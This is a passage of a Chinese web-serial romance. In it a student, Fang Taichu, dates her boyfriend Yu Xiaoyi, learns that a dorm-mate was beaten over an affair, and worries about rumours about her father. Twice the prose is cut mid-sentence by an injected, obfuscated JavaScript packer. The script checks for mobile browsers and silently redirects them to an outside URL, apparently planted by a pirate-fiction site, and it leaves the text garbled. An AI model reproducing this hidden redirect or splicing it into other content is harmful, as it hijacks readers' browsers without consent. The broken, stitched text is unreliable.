“……”余萧弋呼吸一滞,“我没有那个意思。” 小初继续漫不经心地说道:“你在金光闪闪的写字楼里奋斗,我却只能百无聊赖消磨时间等你下班,不像吗?” 余萧弋去捏她的脸:“越说越离谱!” 小初笑着躲开,向后靠在路边的树上,双手交叉抱在胸前,“想养我也可以,只是我有点贵。” 有些基调,还是一开始就定好了比较好,免得他得意忘形,不知所谓。 “我知道。” “不,你不知道。” “那……有多贵?” 小初不答,反问,“公司现在给你的月薪是多少?” 余萧弋仔细想了想,认真答:“没去看工资单,不过应该和其他同Level的职员差不多,肯定不会超过两万块。” 小初笑,“所以,你怎么养我?养我的话,一个月乘以一千倍,你几时能做到?” 余萧弋愣住,继而又有些恍然,唇角微不可察勾了勾,“所以那个男人可以做到?” 他脑子里此刻已经全是小初扑在那个男人怀里往他名贵西装上蹭眼泪的情景。 这下轮到小初堵心。 气氛开始有些微妙。 “他确实可以。”小初气得要命,一秒钟都不想再继续看见他,“我回学校了。”叮叮车驶来,她看也没看,直接跑到站台上迅捷一跳,并隔着车窗朝他摆摆手,“再见Theo余。” 叮叮车是两层的构造,她拾阶而上来到顶层,找了个人少的角落坐了下来,掏出蓝牙耳机,塞进耳朵里打开音乐,世界终于安静。 播放器播放的刚好是他爸妈复婚的婚礼上黄亦玫唱过的那首《Memory loves you》,一首非常深情又非常个性的歌,有种娓娓道来的故事感,像是在向全世界宣布,有情人终将成眷属。 方太初无声轻笑了一下。 叮叮车开始启动,窗外的街景电影般一帧帧闪过,她脑子里不由自主想起了他们婚礼那天黄亦玫头上那条迎风飘飞出两米的头纱。 那么圣洁。 那么美。 美得现场所有人都热泪盈眶。 旁边一个年轻女孩哭到不能自已,大声喊着:“这就是爱情啊!” 只有她没哭。 不是她不开心,她当然比谁都开心。在姥姥保留的她幼儿园时期的简笔画里,爸爸永远穿着西装,妈妈头上永远别着纱,而她牵着两人的手,眼睛弯弯像月牙。 那个画面,曾是她遥不可及的梦。 但其实好多年她一直都想问,他们的爱情真的有他们向外界描述的那般动人吗?若真有,那他们离婚的那十年又算什么? 算他们彼此都没有找到更好的才终于又把目光投到了旧人身上吗? 成年人的爱情是流动的,只有小孩子的期待永远留在了梦里。 所有人都声称很爱她,却没有人关注她的生活从回北京开始陷入了怎样的混乱和失序。 爸爸到哪都永远带着漂亮的女秘书,妈妈身边的男人不停来了又走,有因为名字发音跟她争得面红耳赤的,有给她的小兔子办葬礼最后自己也死了的。 舅舅每次都毫不避讳:“怎么着,方协文生出儿子来没有呢?” 奶奶骂爸爸:“你们都离婚了,孩子抚养权又没在你手里,为什么有事还找你?你和小雨怎么样了,我到底什么时候才能抱上孙子?” 所有人似乎都忘了,她也姓方。 想起旧事的小初有些失落,突然对爱情两个字产生了怀疑。 “你好,我能坐里面吗?”有人碰了碰她的肩膀。 她下意识回过头去,却发现在站在她旁边的不是别人,正是刚刚被她抛弃在站台的余萧弋。 “你怎么上来的?”小初摘掉一只耳机,眼神里都是惊异,“你会飞吗?” 余萧弋在她身边坐下:“不是会飞,是会瞬移的魔法。” 小初嘁了一声。 他笑。 小初又问:“你不是要去上班吗?” 余萧弋说:“反正一时也赚不到一个月两千万,还不如享受现在先。” “恐怕没那么容易享受,我可是身上刺很长的刺猬。” “不怕,我是海绵,刺了也不会疼。” 小初万没想到他会这么说,怔怔和他对视了一会儿,眼底不自觉有点湿,而后她又有些不好意思,将目光投向了窗外。 却半点景色都没入心,脑子里一直重复着他刚刚的话。 又过了一个路口。 余萧弋才凑到她耳边轻轻解释道:“不是会飞,也没有魔法,我是跟在你后面上的车。” 小初无语瞪他一眼。 这些还要他说吗? “其实,我主要是想提醒方小姐你一下。”余萧弋慢条斯理的。 小初哪还有耐心听他卖关子,直接问道:“到底什么?” “你坐反方向了,学校在另一边。这就是你说的识路?” “……” 两人在下一站下了车。 余萧弋把小初塞进计程车,叮嘱着:“到宿舍记得和我讲一声,等我下班后接你去吃晚饭。” 小初丢脸丢到不想说话,全程用左手遮着眼,只用右手做了个拜拜的动作。以至于车子开出去了很远,她才注意到外套口袋里不知什么时候被他放进来的首饰盒。 里面装着月亮耳饰的那个被她退回去过一次的首饰盒。 她拍了张图片发给他:「怎么……又给我了?」 他回:「不给你哪行,这个本来就是我奶奶之前给我,要我送给将来喜欢的女孩子的。耳饰是她十六岁时收到生日礼物之一,算是有些来历的,寓意很好,你留着吧。」 小初抿抿唇:「这好像……不太好,太贵重了。」 「哪里不好,再说,上面不是已经有你太平洋的眼泪了吗?」 「……」 小初回到宿舍的时候,林佳宜正在公共厨房煮担仔面。 而且还煮了好大一锅,见她回来立刻招呼道:“太初,你回来啦!有没有好一点?” 小初凑过去,笑着帮她别了别头发:“托福,好多了。” “刚好你回来,无论如何帮我吃一半,我煮太多了。” 小初说:“不是我不肯帮忙,实在是我刚吃过没多久。”转身看了看又说:“吃不完先放冰箱呗,下顿再吃了好了。” 林佳宜努了努嘴,“你没看冰箱上面的便签写的什么?” “什么?”小初往前凑了凑,才看见上面的字,下一秒,她的瞳孔就剧烈地收缩了一下。 「ONLY FOR LOACL」,上面用红笔写着。 小初实在没忍住,骂了句脏话。 林佳宜拍了拍她的肩膀:“算了。这个楼层本来non local就没几个,而且也就只有我煮饭多一点,所以影响不大。” 小初突然想起来朱慧雯来,问道:“你这两天看见Wendy了吗?” 林佳宜将面条盛进碗里,戴上隔热手套,“你这么一说我好像还真有两天没看见她了,那天送完你去医院她就没跟我一块回来。”而后又仔细想了想,“不过,我今天早晨好像在卫生间碰见她了。” 小初蹙了蹙眉,“她也送我去医院了?” 林佳宜点头:“对啊,真没想到她还挺义气。”说完她又眨了眨眼:“不过,主要还是你男朋友把你一路抱过去的,你都不知道你那天烧得有多吓人,吃退烧药体温也降不下来,还一直胡言乱语,说的东西我们又听不懂。最后还是Wendy听见了你男朋友的名字,解锁你手机给他打的电话。” 小初脸上的火忽地燎原,“我……还真喊他名字了?” 不可能,绝不可能。 “要不是Wendy,我还真不知道那是你男朋友的名字,话讲回来,你男朋友真的蛮帅的哎,帅,又帅得很温文尔雅,跟你说的什么渣男一点不搭边。 小初:“……” 林佳宜端着面条和小初一起回到宿舍,突然又想到什么:“干脆,我去敲门看看Wendy在不在,在的话要不要尝尝我的担仔面,我煮得应该还是很正宗的,不会比你们去台北夜市吃的差很多。” “我去吧。”小初抿了抿唇。 要是这么说,她应该当面谢谢她才对的。 “好。” 小初移步到Wendy门口,敲门。 她知道的,她室友大多时候都不住在宿舍内,里面若是有人,也只有一种可能,那就是她。 敲门之前她还特地在门口听了听,里面确实有动静无疑。 敲了半天,没人应。 小初蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309774|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了蹙眉。 林佳宜把另一碗面也端了过来,“人不在吗?” 小初摇了摇头,继续敲。 “Wendy,是我,方太初,你在吗?” 林佳宜也说:“你吃饭了吗?要不要一块吃面?” 又过了几秒。 就在小初和林佳宜都准备放弃的时候,门却突然从里面开了。 然后Wendy的半张脸就从门缝露了出来,而且很不耐烦:“两位小姐,你们要不要有点边界感,不知道人家在睡觉吗?” 林佳宜抿抿唇。 小初却说:“睡觉也该起来吃饭了,都一点多了,你不饿啊。” Wendy瓮声瓮气,“不吃,我减肥。” 小初立刻嗅到了异样的味道,视线顺着门缝稍稍一瞥,就看见了Wendy高高肿起的另外半张脸来,一只眼睛干脆只剩下了一条缝。 “天呐。”林佳宜也瞪大了眼。 “真够烦的。”Wendy虽这么说着,却还是将门打开了一点,下一秒,小初和林佳宜就被一股惊人的力量扯进了房间内。 身后的门咣的一声被合上了。 一切都在电光火石之间。 “你这什么情况!”小初吓一跳,忍不住上前掀了掀她的头发:“被人打了?谁干的?报警了吗?你去过医院了吗?” Wendy不吭声。 林佳宜将面放在桌上,“不想说就吃饭先,你是不是因为这个一直没出门?多久没吃饭了?” 小初也说,“对,先吃饭。” Wendy流下泪来。 小初没好气的,“鳄鱼就别流眼泪了,省省力气咬人才对。” Wendy哭得窝窝囊囊的:“方太初你真讨厌。” “吃饭。”小初把筷子塞到她手里。 接下来的十几分钟,三个人都没说话,就那么静静等着Wendy吃完了大半碗面,她的情绪一开始还有些激动,眼泪不停不停掉在面碗里,后来也平复了许多,等面快吃完,只剩下眼睛有点红了。 小初扯了张纸巾,帮她擦了擦嘴角,难得的温柔:“说说吧,到底怎么了?” “还说什么,就是被人打了呗。”Wendy小声说。 “谁?” “就那天和我一块饮早茶的……” 她话还没说完,小初就已经跳了起来,“他一个大男人还打女人?报警,赶紧报警。” “不是他,是他女儿。” 小初不知为什么心头一刺,语气是她自己都没意识到的颤抖,“她女儿,她女儿为什么打你?你跟他是不正当关系?男的还没离婚?” “没有,他都离了几年了……我再怎么没底线也不会那么没品,我一早说过不碰已婚男人的。”Wendy急急解释。 “那是为什么?” “他女儿觉得,他应该和她妈妈复合。” 小初沉默。 心情骤然有些烦躁。 林佳宜心疼地看了看她的伤势,“这用什么打的,这么严重?” “棒球棒。” “天呐。” 小初也皱了皱眉,“他们给你个什么说法了吗?” Wendy自嘲笑笑,“男的开了张支票给我,就算了。” “有钱了不起吗?简直没把法律放在眼里,打这么狠,真出了什么事,一张支票算什么?”小初恨铁不成钢,脑子里不断闪过肖小雨那张脸,四肢百骸针刺一般,却又没办法对Wendy的可怜视而不见,“之前都跟你说了,不要惹老男人,他们那么精明,你怎么玩得过?真出了事,他不会拿你当人的,都是拿钱打发。” Wendy抬眸看她一眼:“小姐,你不食人间烟火的吗?”眼泪再次决堤,“我不揾钱,学费哪里来,将来留学的费用哪里来?你知道全家五六口人挤一个小房子,老爸好赌,快三十岁的大哥结不上婚,青春期的弟弟睡觉翻不开身,全家都靠妈妈一个人开工来养是一种什么生活吗?” 小初愣住。 林佳宜别过头去抹了抹眼泪,再转过来,神情已平静,“不说那么多,先去医院。” Wendy说:“我这个样子,被学弟学妹看见也不用活了。” 小初忽地站起身来:“你管他们干嘛?他们给你钱花吗?走,我有个很大的墨镜,你换件衣服,再戴上棒球帽,现在就去医院。” “咱们学校医院也都是熟人……”Wendy小声说。 “死要面子活受罪,好啦,我们去一家远点的医院。”小初没好气瞪了她一眼。 等忙完Wendy的事,又将她带回宿舍安顿好,已经接近傍晚。 余萧弋发消息过来说他已经下班了,问她想吃什么。 小初有些脆弱。 回他:「都可以。」 又补了一条:「只要和你,都可以。」 余萧弋很是受宠若惊,「别这样,同事说我笑得像神经病。」 小初也笑。 在楼下等他的功夫,她点开搜索引擎,鬼使神差输入了下亦方科技。 下一秒,方协文挟肖小雨出现在意大利的新闻就跳了出来。 在那些被偷拍的画面里,肖小雨棒球帽配框镜,状态很松弛。 当然,她眼尖,还是认出了她爸身边除了肖小雨以外好几个其他员工的。 只是拍摄者似乎就只追着他们俩拍。 新闻标题起得也很吸引眼球:《方协文肖小雨同框,网传两人还有个五岁的儿子》。 29. 第 29 章 肖小雨那个五岁的儿子,方太初见过,还不止一次。 每次学校放寒暑假的时候,肖小雨都会把他带到亦方来。她工作,他就安安静静坐在一边看平板,画画或是玩乐高,从来不会乱跑乱动,嘴甜还有礼貌。 小初之前去办公室找他爸的时候甚至还帮忙带过他半天。 不带任何偏见地说,那孩子是真的讨人喜欢,不单是教养的问题,主要他长得也好看,比他爸妈还要出众,亦方的员工走来走去都喜欢捏捏他的脸。 就连方协文,小初看得很清楚,明明从会议室里出来时眉头还是紧锁的,一见到他,烦恼瞬间消失,“乐羽飞,你又陪妈妈来上班了啊?来过来给伯伯抱抱。” 小朋友箭一样扑到他怀里。 方协文抱起他,转向秘书:“我记得前两天谁送来的进口巧克力挺不错的来着,找出来给飞飞带走。” 小初在一旁语气酸酸的:“爸,我小时候你有没有这么喜欢我啊。” 方协文大笑:“想你小时候干嘛,你要不现在过来,爸爸也能抱动你。” 小初立刻嫌弃地跳到一边去:“不用了方总,谢谢。” 方协文问肖小雨:“你觉不觉得飞飞很像小时候的小初?” 肖小雨向来滴水不漏,只是笑笑:“小初不比他好看多了。” 方协文被哄得春风满面,抱着飞飞拿巧克力和棒棒糖去了。 小初当时就觉得那个画面很刺眼,现在想想,人果然还是要相信一点自己的第六感的。 她后来也不经意和黄亦玫提过这个事,倒也没敢说别的,只说肖小雨天天带着孩子上班,亦方人事部就一点意见没有吗?多耽误工作啊。 黄亦玫听了不仅没往深了想,反而还把她委婉教育了一通。 说职场女性要平衡事业和家庭本来就不容易,不止亦方,全社会都应该给与支持才对,她作为亦方将来的接班人,又同为女性,怎么还会问出这种话来呢。 又说她小时候小雨阿姨可没少牺牲工作时间带她,现在轮到人家需要帮忙了,她倒事不关己了?人还是要懂得感恩的。 道理小初当然都明白,但她心里仍旧不太舒服,赌气道:“方总又不是没付她钱。” 话音一落,黄亦玫的表情就严肃了下来。 她意识到不妙,不敢再大放厥词,赶紧找了个理由溜了。 她妈妈永远那么温柔与包容,简直圣女一样散发着光辉,她才不要做圣女,如果真有那么一天,说不定她也会拿起棒球棍…… 棒球棍? 小初忽地一激灵。 不敢相信刚刚那个被恶意包裹的人是她,朱慧雯惨不忍睹的脸出现在眼前,她脑子里轰地一声,浑身的汗毛都竖了起来。 她方太初,竟然因为一条未经证实的网络谣言失去了理智和判断! 退一万步讲,就算这件事是真的,始作俑者难道不应该是那个负不了责却又到处留情的男人吗?她怎么能全凭主观把一切都归咎到女人身上? 若他爸是这种人,那以他今天的财富和地位,又岂止会有一个肖小雨和乐羽飞?若他不是这种人…… 小初想了想,二十岁的她还不敢说自己有多读得懂男人。不过她选择相信黄亦玫,相信她的判断和眼光。 余萧弋很快出现在宿舍楼下,还有很远,他就喊她的名字:“方太初!” 小初锁上手机屏幕,深吸了一口气。 他们隔着几级台阶相望。 暮色已在这个城市降临,街灯温柔,他应该是跑着过来的,头发被风吹得凌乱,头顶有一簇甚至是竖起来的,像是哆啦A梦的小天线,小初被逗笑,大步走向他。 “嗨。”他像每次那样跟她打招呼,毫无新意。 小初也学他:“嗨。” 他问:“想吃什么?”还没等她答,他又说:“别说都好啊。” 小初又笑。 她感觉自己正在极速迷失在这种舒适的亲密关系中,他让她平静下来。 “那不然就吃韩餐怎么样,离地铁站不远就有一家,我从第一天来这边就想去吃的,一直没找到机会。” 她决定再向他暴露一点自己的隐私。 “好啊。”他说了句粤语。 小初想了想又问他:“你吃韩餐吗?” 余萧弋有些好笑:“小姐,我也是食人间烟火的,好吗?都是人类吃的东西我为什么不能吃?不然你以为我每天都吃什么?等不来米其林大厨做的大餐,就有气节地饿死吗?” 小初揶揄,“别的不知道,只记得你爱吃方便面。” 余萧弋睨她:“说起这个,记得某人说过有机会一定给我复刻一碗的,也不知什么时候兑现承诺?” 小初眼尾一跳,这话怎么听着危险重重的,想要复刻那碗餐蛋面,起码要有个厨房吧,至于哪里有厨房…… 她不接茬,只当听不懂,“那今天这顿韩餐就算选对了,韩国人连霸总的深夜食堂都是一碗泡面,肯定能让你吃到黯然销魂、热泪盈眶,吃完它,你的人生就圆满了。” 余萧弋快被她笑死,“方小姐,你怎么敢说自己是刺猬,刺猬的嘴里可没有刺!” 小初将双手插进裙子侧边的口袋里,眨眨眼:“其实我是大白鲨。” 两人轻快走下台阶。 余萧弋忍不住侧过头去看她。今晚的她依旧衣着朴素,一字领的奶白色小T恤配深蓝色休闲裙,长长的头发随便结成辫子垂在胸前,鼻梁上甚至还架着框镜,看着不像是来和恋人约会的,倒像是简单吃口饭就要回去备战什么大型考试的,文气极了。 余萧弋问:“你近视吗?” 小初这才恍然自己还戴着眼镜,“不近视,我这个是防蓝光的,刚出门前看了会儿电脑。” “哦。”余萧弋笑笑,“你戴还挺好看的,看着特高智。” 小初看了他一眼,压下眸底的深色,她也不知道他这句话是夸她还是说她像书呆子,索性什么都没答。 两人一前一后步入店内,餐馆老板是韩国来的,一看见他们就用韩语招呼道,“晚上好,欢迎光临。” 小初微微颔首,本能用韩语回过去:“晚上好。” 余萧弋讶异:“你还会韩语呢?” 小初带着他找了张靠窗的小桌子坐了下来。店内装修还算干净,但即便如此也改变不了它就是个人均消费超不过两百港币的街边小店,和余萧弋身上矜贵的气质极为不符,他们一进店,就有好多道打量的目光投了过来。 “会一点,不多。”小初翻开菜单,淡笑道:“其实我是朝鲜族来着。” 余萧弋没太理解,“朝鲜族,和韩国的关系是?” 小初愣了愣,第一次意识到地域认知差异有多大,她不知道怎么说,干脆让他自己网上去看百科。 又问他:“我随便点还是?” 余萧弋拿出手机,开玩笑道,“你帮我点,点个销魂的。”说完就把目光专注到手机屏幕上去了,他生在南方长在南方,对内陆很多人文上的认知确实欠缺,急需时间好好补充一下。 小初眼底滑过一丝狡黠,朝老板招了招手,也没客气,用韩语点了餐,并且第一个点的就是魔王辣猪手,然后才是其他的常规韩菜,大酱汤,芝士鸡蛋卷什么的,因为两个人都不是太能吃的人,她也就没点太多。 想了想,她又跑到吧台要了瓶烧酒过来,等余萧弋将目光转到她身上来的时候,两人面前的玻璃酒杯已经被她倒满了。 “要不要喝一口?”小初笑。 余萧弋伸手挡住她的杯子,眼底都是怀疑,“你确定你要喝吗?医生可是要你好好保养的。” 小初今天心情不好,又不想跟他解释她为什么心情不好,她很少在外面放纵自己,可如果陪在她身边的人是他,她想她大概放下一点心防,不用去想那么多。 主要是,这个酒的度数不高,她十分确定她不会醉,除了让自己开心一点之外,不会有任何危险发生。 是的,即便身边的人是他,她也不敢对他完全的信任,她要永远保证自己才是那个清醒到最后的人。 她举起杯子,弯了弯眼角:“没关系的,这个酒度数很低,喝两杯没什么大事。” “不行。”余萧弋坚持,“你体内的药恐怕还没完全代谢出去,绝对不能碰酒精。” 小初垂下嘴角,“Theo余,你真扫兴。”又说:“那现在怎么办。” 余萧弋无奈叹了口气,从她手中接过酒杯:“我来喝。” “你……行吗?” “不太行。”余萧弋摇摇头,“因为之前从来没喝过这种酒。” 他那个认真的样子成功让小初笑出声来,没多想就回了他一句:“哎,你没听人家说,男人是不能说自己不行的吗?” 余萧弋抬眸,将她锁在他的目光里动弹不得,不动声色探究着她的内心:“人家是谁?” 小初感受到了他眼神里无形的侵略感,只能别开视线,还好他们点的菜刚好在这会儿被送了过来,小初轻呼口气,不经意转移了话题,“你尝尝他们这个韩式猪手比你们港味的怎么样,够不够靓。” 余萧弋垂眸看了眼盘子里红彤彤的一盘,还没开始吃,额头上的汗就快下来了,他向来很少食辣的东西,这东西恐怕会要了他的命。 “靓倒是靓……”他为难看了小初一眼,“不然我还是喝酒吧。” 一仰头,小小的玻璃杯就见了底。 小初难以置信看了他一眼:“不用喝这么快的,度数低也是会醉的好吗?”又问他:“怎么样,好喝吗?” 余萧弋皱着眉,身体和语言都很诚实:“不太好喝。” 小初大笑。 心口的阴霾不觉中消散了许多。 “傻瓜,蒸馏酒当然难喝了。”小初压低声音,防止餐馆老板听见:“所以说,这帮韩国人也没喝过什么好东西。” 余萧弋这才想起来刚刚在手机上学到的知识来:“所以你们朝鲜族和南韩北韩算一个民族?” 小初点头:“同源异流,中国的朝鲜族长期和汉族满族杂居融合,已经本土化了。” “所以你算少数民族?” “对啊。”小初夹了块魔王猪手给自己,有些惋惜,“今晚就这道菜最销魂,你不吃就错过了哦。” 余萧弋摆摆手:“我吃完就要变成香肠嘴,电影里梁朝伟那个样子,知道吧?” 小初又笑:“梁朝伟即使那样也还是帅的,你也是,眼睛好看的人不必太在意其他部分的瑕疵。” 余萧弋又喝了半杯酒,脸逐渐泛红,“你别哄我。” 两人的话逐渐多了起来。 小初越说越高兴,最后竟真把她爸那件事暂时放到脑后去了。黄亦玫说得没错,人果然是需要朋友的,即便她没办法和他倾诉她真正的苦恼,只是这样随便聊聊天,似乎也是解压的。 不知不觉,余萧弋已经喝了快一瓶下去。 菜也被两人吃了个七七八八。 小初说:“真没想到你对韩餐接受度这么高,忘了跟你说我奶奶在延吉开了家贩卖民族风情的民宿,坑的都是你这样的人,回头有机会带你去体验体验。” 余萧弋差点被嘴里的酒呛到:“你听听你说的什么话,好好的生意被你形容的好像打着某种幌子的黑店。” 小初忍俊不禁,“我说真的呢,我奶奶年轻时候开的是麻将馆,在老家那一片是出了名的脾气暴躁,嘴不饶人,现在好,老了老了,头发一白,皱纹一多,倒成了网友眼里的慈祥奶奶了,好多人慕名去她的民宿打卡,还争相和她合照什么的,生意比开麻将馆的时候好多了。” 余萧弋神色古怪地看了她一眼:“所以,你像她?” 小初气得捡起一片生菜叶子就朝他扔了过去:“你会讲话吗?我多温柔?” 余萧弋接住那片生菜叶子,不说话,只是笑。 小初不理他,点开微信,把刚吃饭前拍的照片发到了只属于他们三个人的小家庭群里,并@方协文,附言:「爸,今天有点想你和妈妈,就来吃这个了。」

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309775|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男朋友有什么重要,群里那个男人才是保她这辈子,下辈子,下下辈子都衣食无忧的大佬好吗?她得保证他就算还有十个乐羽飞都只会把继承权给她一个人。 没过半分钟方协文就回了过来:「你一个人吃这么多吗?」 小初:「……这是重点吗?」 黄亦玫发了个大笑的表情过来:「好吃吗?下个星期记得带妈妈尝尝。」 小初问:「黄女士,你老公还在欧洲出差吗?」 下一秒,方协文就发了张他们的合影过来,语气傲娇,「此刻。」 照片中的两人神情微醺,身后一整面落地玻璃窗都是璀璨的北京夜景,也不知是去了哪家他们没带她一块去过的高级餐厅。 小初撇撇嘴,继续@方协文,「时间管理大师。」 说完也不管他听没听得懂,直接退出页面,梁培风的信息刚好在这一秒跳了出来。 余萧弋见她半天只看着手机笑,不禁有些黯然,问她:「跟谁聊天呢,这么开心。」 “梁培风。”小初把聊天页面在他面前一晃,“哦,就是那天和我们一起听Lecture课的北京男生。” 余萧弋的目光渐冷,“和他聊天这么开心吗?” 小初低头回着梁培风,也没注意去看他的表情:“没,他问我有没有数学系的同学介绍给他和他组队参加十一月份的数学建模大赛。” “然后呢?” 小初收起手机:“没有然后啊,我推荐了我自己。” “你自己?”余萧弋又给自己倒了杯酒。 “对啊,在下不才,刚好是前几届的CMO国家集训队成员之一。”小初按住他的杯子:“别喝了,这玩意喝多了上头又烧心,我怕你后半夜难受没人照顾。” “你一定要和他组队吗?” 小初不太明白这件事跟他有什么关系,疑惑看了他一眼:“你是不是喝多了?” 转而招呼老板:“你好,买单。” 老板递过小票,满脸微笑:“麻烦,一共是两百九十八块。” “好的。” 余萧弋仍在怔愣。 直至小初喊他:“Theo余,买单好吗?” 怎样,他还真想每次吃饭都她花钱啊。 两人收拾好东西走出店外,小初还在琢磨梁培风说的数学建模大赛的事。 其实她参赛倒没有别的想法,她主要想看看梁培风这个人,或者说他的业务能力到底怎么样,如果合适,如果他愿意,倒是可以考虑拉到亦方来。 不知不觉,两人又走到了她们宿舍楼下。 小初向上看了看那个大坡,决定体贴一下喝多了酒的男朋友:“要不你就送到这吧,不用陪我上去了。” 余萧弋没说话,只静静看着她。 “你怎么了?”小初不明所以,“真喝醉了?” 下一秒,他微晃的身形和不小心扶在她腰间的手就给了她回答。世界突然陷入黑暗,小初反应了一会儿,才意识到她已随着他隐入了树影里,而她背后粗糙的触感正是小叶榕崎岖的枝干。 “……” 他是不是在跟她装疯? “嗯,我醉了。” 黑暗中两人的身体重量几乎叠加在了一起,小初预想中的痛感却并没有从背后传来,她仔细感受了一下,才发现原来是他的手挡在了她和树之间。 他的掌心很热,但她已经顾不上那么多,因为……他侵略感在不觉间已经渲染到了极致,她前后都已无退路,只能任他予取予求了。 她闭上了眼,可等了半晌,也不见他有什么别的行动,不禁又试探着睁开。 黑暗中她看不见他的眼睛,只能感受到他带着微醺酒气的炽热鼻息,每一下都喷薄在她最敏感的地方,让她忍不住颤栗。 “方太初。”他突然开口。 “怎样?”小初虚张声势地用膝盖顶了顶他的腿。 换来的却是他更进一步死死的压制。 “你上头了吗?” 小初小声说:“我又没喝酒。” 他又问,声音里似有无限痛苦,“你一直这么清醒吗?之前喜欢叶子瑜的时候也这样吗?” “什么东西?” 黑暗中都是两个人的喘息声。 “为什么你总是一副对爱情毫无期待的样子?” “啊?”小初自省了一下,“没,没有吧。我说了我只是很慢热。” “那,你想不想试试。” 小初紧张得忘记了呼吸,“试,试什么?” “深吻。” “不要了吧。” 余萧弋的声音越来越低,每个字都带着化不开的蛊惑,“为什么?” “因为,我吃了魔王猪手,你会变成梁朝伟的香肠嘴。” 余萧弋做梦都没想到她会在这个时候说这句话,气氛顿时一整个被破坏掉。 他想起香肠嘴的梁朝伟问乞丐版的张学友:“性不性感?” 张学友说:“不是性感,是好笑。” 小初又说:“你知道我之前和我朋友出去玩每次留的是什么假名吗?” 余萧弋没跟上她的脑回路:“什么?” “Titan。” 余萧弋想了想:“土卫六的英文名?土星最大的卫星,大气成分主要是氮气和甲烷,星球表流动着的是液态甲烷海,对吗?” 小初有些意外:“你知道的还挺多。” “所以你的意思是你……不适合碳基生物生存?” 小初轻笑摇了摇头:“我的意思是,你最好不要试图点燃我,不然后果你承受不了。” 趁他怔愣之际,她已从他怀里溜走,并两三步跳到了主路上。 余萧弋回过头去,街灯下的她灵动得的似一只翩然的蝴蝶,根本让人移不开眼。 “晚安,男朋友。”小初用力挥手。 “上头的话,晚上空调记得开低一点,冷静冷静。” 余萧弋眯了眯眸子。 最后还是笑了。 30. 第 30 章 点燃我——是需要条件的,太少量的氧气,还不足以支撑那种级别的化学反应。 而后我会爆炸,会熊熊燃烧,会闪耀整个太阳系,会一直爱你,直至我焚烧殆尽,与你逐渐融合,进入另一种稳定状态。 这些话小初没有跟余萧弋说。 她承认他说得对,她一直是个理性且清醒的人。因为她不想重蹈她父母覆辙,要很多次判断失误才能准确知道自己要什么。 她需要这份理性做外壳保护她的心脏始终柔软,才能让她眼中的世界每一天都是美好而值得期待的。 这是她的处世法则。 她不颓丧也不消极,更不排斥和谁进入亲密关系,她只是觉得她和余萧弋相识时间太短了,短到两个人对对方基本还一无所知。 没准,他在她面前的绅士,高智,内敛都是假象呢,实际和狐朋狗友混迹在一起会贬低女性,不尊重人尤其是底层人,缺乏同理心,滥情又爱玩,没有维持长期关系的能力呢? 选男人又不是选老板,还是他的底色比较重要,钱,资源和他的个人能力对两性关系的加成其实不大。 主要是,他有的这些东西她自己都有。 若她是朱慧雯,她当然可以遵循另一套法则,她没有资格评判别人。 想到这,小初喝了一口咖啡,在Whats App找到Wendy的头像给她发了条消息过去:「我在外面吃饭,要帮你带午餐吗?」 那天从医院回来,Wendy就一直在宿舍休息没出门,期间她的一日三餐都是她和林佳宜负责,好在四五天过去,她脸上的伤已基本消肿,现在出门只要稍微敷点粉遮一遮青黑就好,总算不耽误她去上课。 作为学生,无论怎样,学习肯定还是第一位的。小初听说,Wendy的成绩还是很优异的,所有科目都A+ Level,林佳宜之前说得没错,“还真看她不出”。 Wendy很快回了过来:「我已经在图书馆学习了,要不要过来一起?」 小初回:「抱歉,男朋友有约。」 Wendy回了个无语的表情。 小初一开始还笑着,可笑着笑着就垂下了嘴角,好惊悚,她怎么和死对头成了朋友了? 那以后她还怎么怼她啊。 她这几天也很忙,除了上课还要和梁培风一起为两个月之后的数学建模大赛做准备,根本没有多余的时间谈恋爱,今天余萧弋打电话给她,说她要是再不见他的面,他就要幽怨到午夜时分飘起来了。 小初回他:“那你记得先在身上绑根绳子再飘。” 他沉默半晌,丢下一句,“方太初你给我等着啊。”就挂了电话。 为此,小初特地挑了个人很多的西餐厅等他,她就不信,在众目睽睽之下他还敢拿她怎么着。 手里咖啡还没喝一半,余萧弋就上了楼,而且一看又是跑着过来的,头发凌乱中还带着某种张力。 小初抬起头,看了眼他怀里抱着的纸箱,有点疑惑:“这里面是什么?” 余萧弋风一样把纸箱放在桌面上,自然而然抓起她的杯子,几口就把剩下的半杯咖啡喝得见了底,朝她挑挑眉,“你猜猜?” 小初强迫自己把视线从他咬着她吸管的画面上移开,认真想了想,猜到:“不会是绳子吧?” 她的语气太平静,余萧弋一开始甚至以为自己听错了,待反应过来后,整个人都像被灼烧了一样,连自己本来要说什么都忘了。 旁边一桌的两个年轻女孩将他们的对话听了个正着,对视一眼后马上疯狂在桌子下给对方发信息。 “他们两个说的,不会是我想的那种吧?” “相信我,就是!” “依你看,这东西,是用在两位谁身上的?” “干嘛这么狭隘,就不能互相吗?” “有道理啊!” “这么好看的两个人,尺度这么大?” “好刺激,我喜欢。” 两人大笑。 小初不太理解地看了旁边奇怪的两个女孩一眼,转向余萧弋:“快别卖关子了,到底是什么嘛。” 余萧弋轻咳一声,这才不着声色地打开了纸箱,展示给小初:“这是这几年MCM/ICM的真题,我简单看了下,赛题涉及范围广泛还是挺广的,经济,环境,安全,生态,医学什么的都有。” 两个女孩瞬时露出失望的神色来。 她们脑子里小电影都播了半天了,他们就给她们来了个这? 